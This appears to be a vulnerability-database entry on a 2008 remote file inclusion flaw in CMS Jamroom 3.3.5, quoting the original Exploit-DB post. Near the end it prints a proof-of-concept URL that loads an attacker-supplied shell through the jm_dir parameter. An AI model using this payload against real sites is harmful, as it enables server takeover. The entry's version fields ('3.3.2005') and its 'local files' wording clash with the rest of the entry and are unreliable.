CMS Jamroom Version 3.3.5

vendor:

Jamroom

by:

Cyberlog

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Jamroom

Affected Version From: 3.3.2005

Affected Version To: 3.3.2005

Patch Exists: YES

Related CWE: N/A

CPE: a:jamroom:jamroom

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

A remote file inclusion vulnerability exists in CMS Jamroom Version 3.3.5. The vulnerability is due to the 'jm_dir' parameter in the 'include/plugins/jrBrowser/purchase.php' script not properly sanitized before being used in a 'require_once' call. This can allow a remote attacker to include and execute arbitrary local files.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized before being used in a 'require_once' call.

Source

Exploit-DB raw data:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : CMS Jamroom Version: 3.3.5
Discovered By   : Cyberlog
Scripts site    : http://www.jamroom.net/
Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee
                  letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php");

Bug Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]

# milw0rm.com [2008-06-20]